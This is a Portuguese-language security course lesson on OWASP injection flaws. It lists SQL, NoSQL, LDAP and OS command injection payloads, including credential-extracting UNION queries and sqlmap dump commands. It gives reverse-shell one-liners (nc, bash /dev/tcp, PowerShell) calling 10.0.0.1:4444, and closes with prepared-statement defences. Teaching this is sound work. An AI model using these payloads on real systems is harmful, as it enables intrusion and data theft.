Injection — A03:2021
Aula 2 de 6
SQL Injection (SQLi)
Tipos de SQL Injection
| Tipo | Descrição | Exemplo |
|---|---|---|
| In-band (UNION) | Dados retornados na resposta | ' UNION SELECT username,password FROM users -- |
| Blind Boolean | Resposta true/false | ' AND 1=1 -- (true) vs ' AND 1=2 -- (false) |
| Blind Time-based | Atraso na resposta | ' WAITFOR DELAY '0:0:5' -- |
| Error-based | Erros do BD na resposta | ' AND 1=CONVERT(int, @@version) -- |
| Out-of-band | Dados enviados para servidor externo | EXEC xp_dirtree '\\atacante\share' |
UNION SQLi
-- Descobrir número de colunas
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
' ORDER BY 4 -- (erro = 3 colunas)
-- UNION com 3 colunas
' UNION SELECT null,null,null --
-- Extrair dados
' UNION SELECT database(), user(), version() --
' UNION SELECT table_name, null, null FROM information_schema.tables --
' UNION SELECT column_name, data_type, null FROM information_schema.columns WHERE table_name='users' --
' UNION SELECT username, password, null FROM users --
Blind SQLi (Boolean)
# Requisição original
GET /produto?id=1 HTTP/1.1
# Teste boolean — verdadeiro (deve retornar normal)
GET /produto?id=1 AND 1=1 HTTP/1.1
# Teste boolean — falso (deve retornar diferente)
GET /produto?id=1 AND 1=2 HTTP/1.1
# Extrair caractere por caractere
GET /produto?id=1 AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a' HTTP/1.1
Blind SQLi (Time-based)
-- MySQL
' AND SLEEP(5) --
-- SQL Server
' WAITFOR DELAY '0:0:5' --
-- PostgreSQL
' AND pg_sleep(5) --
-- Oracle
' AND DBMS_LOCK.SLEEP(5) --
Second-Order SQLi
O payload é armazenado (ex: cadastro de usuário) e executado posteriormente
em outra operação (ex: visualização de perfil).
1. Cadastro: username = ' OR 1=1 --
2. Login: normal
3. Visualização de perfil: query executa SQL com username armazenado
NoSQL Injection
// MongoDB — login bypass
// Request JSON
{ "username": "admin", "password": { "$gt": "" } }
// Query gerada:
// db.users.find({ username: "admin", password: { $gt: "" } })
// PHP + MongoDB
// ?username=admin&password[$gt]=
Command Injection
# Injeção de comandos OS
; ls -la
| ls -la
`ls -la`
$(ls -la)
|| ls -la
&& ls -la
& ls -la
# Exemplo prático (ping)
# Input: 8.8.8.8; cat /etc/passwd
# Resultado: ping 8.8.8.8; cat /etc/passwd
# Reverse shell via command injection
; nc -e /bin/sh 10.0.0.1 4444
| bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
; powershell -c "$c=New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);$s=$c.GetStream();..."
POST /ping HTTP/1.1
Host: alvo.com
Content-Type: application/x-www-form-urlencoded
ip=8.8.8.8%3B+whoami
ORM Injection
# SQLAlchemy — vulnerável (raw query)
session.execute(f"SELECT * FROM users WHERE id = {user_input}")
# SQLAlchemy — seguro (query builder)
session.query(User).filter(User.id == user_input).all()
LDAP Injection
Input: admin*
Query: (&(uid=admin*)(userPassword=pass))
Resultado: autentica com qualquer usuário começando com admin
Input: admin)(|(uid=*))
Query: (&(uid=admin)(|(uid=*)))(userPassword=pass)
Resultado: bypass completo de autenticação
Prevenção
Parameterized Queries (Prepared Statements)
// Java — seguro (PreparedStatement)
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
// C# — seguro (parameterized)
string sql = "SELECT * FROM Users WHERE Username = @user AND Password = @pass";
SqlCommand cmd = new SqlCommand(sql, conn);
cmd.Parameters.AddWithValue("@user", username);
cmd.Parameters.AddWithValue("@pass", password);
# Python — seguro (parameterized)
cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?", (username, password))
// PHP — seguro (prepared statement)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :user AND password = :pass");
$stmt->execute(['user' => $username, 'pass' => $password]);
Input Validation e Allowlist
import re
# Allowlist — apenas números
def validate_id(user_input):
if re.match(r'^\d+$', user_input):
return int(user_input)
raise ValueError("ID inválido")
# Escape para comandos
import shlex
safe_command = shlex.quote(user_input)
ORM Safe Practices
# Ruby on Rails — seguro (ActiveRecord)
User.where("username = ? AND password = ?", params[:username], params[:password])
# Evite:
User.where("username = '#{params[:username]}' AND password = '#{params[:password]}'")
Lab: Testando SQL Injection
# 1. Testar campo com aspas simples
' OR 1=1 --
" OR 1=1 --
# 2. Descobrir número de colunas
' ORDER BY 1 --
' ORDER BY 2 --
' ORDER BY 3 --
# 3. UNION para extrair dados
' UNION SELECT null,null,null --
' UNION SELECT database(),user(),version() --
# 4. Testar blind boolean
' AND 1=1 --
' AND 1=2 --
# 5. Testar com SQLMap
sqlmap -u "http://alvo.com/produto?id=1" --batch
sqlmap -u "http://alvo.com/produto?id=1" --dbs
sqlmap -u "http://alvo.com/produto?id=1" -D banco --tables
sqlmap -u "http://alvo.com/produto?id=1" -D banco -T users --dump
Injection é a categoria mais antiga e ainda a mais crítica. Prepared statements resolvem 90% dos casos. Para o resto: allowlist, validação estrita e escape específico. Nunca concatenem strings em queries.